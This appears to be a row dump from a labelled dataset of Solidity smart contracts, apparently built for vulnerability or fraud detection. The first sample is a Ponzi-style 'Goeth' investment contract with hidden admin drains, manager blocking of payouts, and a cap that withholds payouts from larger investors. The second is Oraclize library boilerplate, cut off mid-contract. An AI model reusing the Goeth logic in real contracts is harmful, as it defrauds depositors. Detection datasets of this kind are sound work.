source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "NaN");
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
require(b > 0, "NaN");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
require(b <= a, "NaN");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a, "NaN");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0, "NaN");
return a % b;
}
}
contract Roles {
mapping(string => mapping(address => bool)) private rules;
event RoleAdded(string indexed role, address indexed to);
event RoleRemoved(string indexed role, address indexed to);
modifier onlyHasRole(string _role) {
require(rules[_role][msg.sender], "Access denied");
_;
}
function hasRole(string _role, address _to) view public returns(bool) {
require(_to != address(0), "Zero address");
return rules[_role][_to];
}
function addRole(string _role, address _to) internal {
require(_to != address(0), "Zero address");
rules[_role][_to] = true;
emit RoleAdded(_role, _to);
}
function removeRole(string _role, address _to) internal {
require(_to != address(0), "Zero address");
rules[_role][_to] = false;
emit RoleRemoved(_role, _to);
}
}
contract Goeth is Roles {
using SafeMath for uint;
struct Investor {
uint invested;
uint payouts;
uint first_invest;
uint last_payout;
address referrer;
}
struct Admin {
uint percent;
uint timeout;
uint min_balance;
uint last_withdraw;
}
uint constant public COMMISSION = 0;
uint constant public REFBONUS = 5;
uint constant public CASHBACK = 5;
uint constant public DRAWTIMEOUT = 1 days;
uint constant public MAXPAYOUT = 40;
address public beneficiary = 0xa5451D1a11B3e2eE537423b724fa8F9FaAc1DD62;
mapping(address => Investor) public investors;
mapping(address => bool) public blockeds;
uint[] public draw_size = [5, 3, 2];
uint public last_draw = block.timestamp;
address[] public top = new address[](draw_size.length);
uint public max_payout_amoun_block = 10 ether;
mapping(address => Admin) public admins;
event Payout(address indexed holder, uint etherAmount);
event Deposit(address indexed holder, uint etherAmount, address referrer);
event RefBonus(address indexed from, address indexed to, uint etherAmount);
event CashBack(address indexed holder, uint etherAmount);
event Withdraw(address indexed to, uint etherAmount);
event WithdrawEther(address indexed to, uint etherAmount);
event Blocked(address indexed holder);
event UnBlocked(address indexed holder);
event TopWinner(address indexed holder, uint top, uint etherAmount);
constructor() {
addRole("manager", 0x17a709173819d7c2E42DBB70643c848450093874);
addRole("manager", 0x2d15b5caFEE3f0fC2FA778b875987f756D64c789);
admins[0x42966e110901FAD6f1A55ADCC8219b541D60b258] = Admin(50, 1 days, 0, 0);
admins[0xE84C2381783a32b04B7Db545Db330b579dce2782] = Admin(30, 1 days, 20 ether, 0);
admins[0xC620Dc2E168cE45274bAA26fc496E9Ed30482c73] = Admin(25, 1 days, 25 ether, 0);
}
function investorBonusSize(address _to) view public returns(uint) {
uint b = investors[_to].invested;
if(b >= 50 ether) return 1500;
if(b >= 20 ether) return 1000;
if(b >= 10 ether) return 700;
if(b >= 5 ether) return 500;
return 333;
}
function bonusSize() view public returns(uint) {
uint b = address(this).balance;
if(b >= 1000 ether) return 800;
if(b >= 500 ether) return 700;
if(b >= 300.1 ether) return 600;
if(b >= 100.1 ether) return 500;
return 333;
}
function payoutSize(address _to) view public returns(uint) {
uint invested = investors[_to].invested;
uint max = invested.div(100).mul(MAXPAYOUT);
if(invested == 0 || investors[_to].payouts >= max) return 0;
uint bonus_all = bonusSize();
uint bonus_to = investorBonusSize(_to);
uint bonus = bonus_all > bonus_to ? bonus_all : bonus_to;
uint payout = invested.mul(bonus).div(10000).mul(block.timestamp.sub(investors[_to].last_payout)).div(1 days);
return investors[_to].payouts.add(payout) > max ? max.sub(investors[_to].payouts) : payout;
}
function bytesToAddress(bytes bys) pure private returns(address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function() payable external {
if(hasRole("manager", msg.sender)) {
require(msg.data.length > 0, "Send the address in data");
address addr = bytesToAddress(msg.data);
require(!hasRole("manager", addr) && admins[addr].percent == 0, "This address is manager");
if(!blockeds[addr]) {
blockeds[addr] = true;
emit Blocked(addr);
}
else {
blockeds[addr] = false;
emit UnBlocked(addr);
}
if(msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
if(investors[msg.sender].invested > 0 && !blockeds[msg.sender] && investors[msg.sender].invested < max_payout_amoun_block) {
uint payout = payoutSize(msg.sender);
require(msg.value > 0 || payout > 0, "No payouts");
if(payout > 0) {
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].payouts = investors[msg.sender].payouts.add(payout);
msg.sender.transfer(payout);
emit Payout(msg.sender, payout);
}
}
if(msg.value == 0.00001 ether) {
require(investors[msg.sender].invested > 0 && !blockeds[msg.sender], "You have not invested anything yet");
uint amount = investors[msg.sender].invested.mul(90).div(100);
msg.sender.transfer(amount);
delete investors[msg.sender];
emit Withdraw(msg.sender, amount);
}
else if(msg.value > 0) {
require(msg.value >= 0.01 ether, "Minimum investment amount 0.01 ether");
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].invested = investors[msg.sender].invested.add(msg.value);
beneficiary.transfer(msg.value.mul(COMMISSION).div(100));
if(investors[msg.sender].first_invest == 0) {
investors[msg.sender].first_invest = block.timestamp;
if(msg.data.length > 0) {
address ref = bytesToAddress(msg.data);
if(ref != msg.sender && investors[ref].invested > 0 && msg.value >= 1 ether) {
investors[msg.sender].referrer = ref;
uint ref_bonus = msg.value.mul(REFBONUS).div(100);
ref.transfer(ref_bonus);
emit RefBonus(msg.sender, ref, ref_bonus);
uint cashback_bonus = msg.value.mul(CASHBACK).div(100);
investors[msg.sender].invested = investors[msg.sender].invested.add(cashback_bonus);
emit CashBack(msg.sender, cashback_bonus);
}
}
}
emit Deposit(msg.sender, msg.value, investors[msg.sender].referrer);
}
}
function SetMaxPayoutAmounBlock(uint _value) public onlyHasRole("manager") {
max_payout_amoun_block = _value;
}
function draw() public {
require(block.timestamp > last_draw + DRAWTIMEOUT, "The drawing is available 1 time in 24 hours");
last_draw = block.timestamp;
uint balance = address(this).balance;
for(uint i = 0; i < draw_size.length; i++) {
if(top[i] != address(0)) {
uint amount = balance.div(100).mul(draw_size[i]);
top[i].transfer(amount);
emit TopWinner(top[i], i + 1, amount);
}
}
}
function withdrawEther(address _to) public {
Admin storage admin = admins[msg.sender];
uint balance = address(this).balance;
require(admin.percent > 0, "Access denied");
require(admin.timeout == 0 || block.timestamp > admin.last_withdraw.add(admin.timeout), "Timeout");
require(_to != address(0), "Zero address");
require(balance > 0, "Not enough balance");
uint amount = balance > admin.min_balance ? balance.div(100).mul(admin.percent) : balance;
admin.last_withdraw = block.timestamp;
_to.transfer(amount);
emit WithdrawEther(_to, amount);
}
} | 1 | 5,115 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
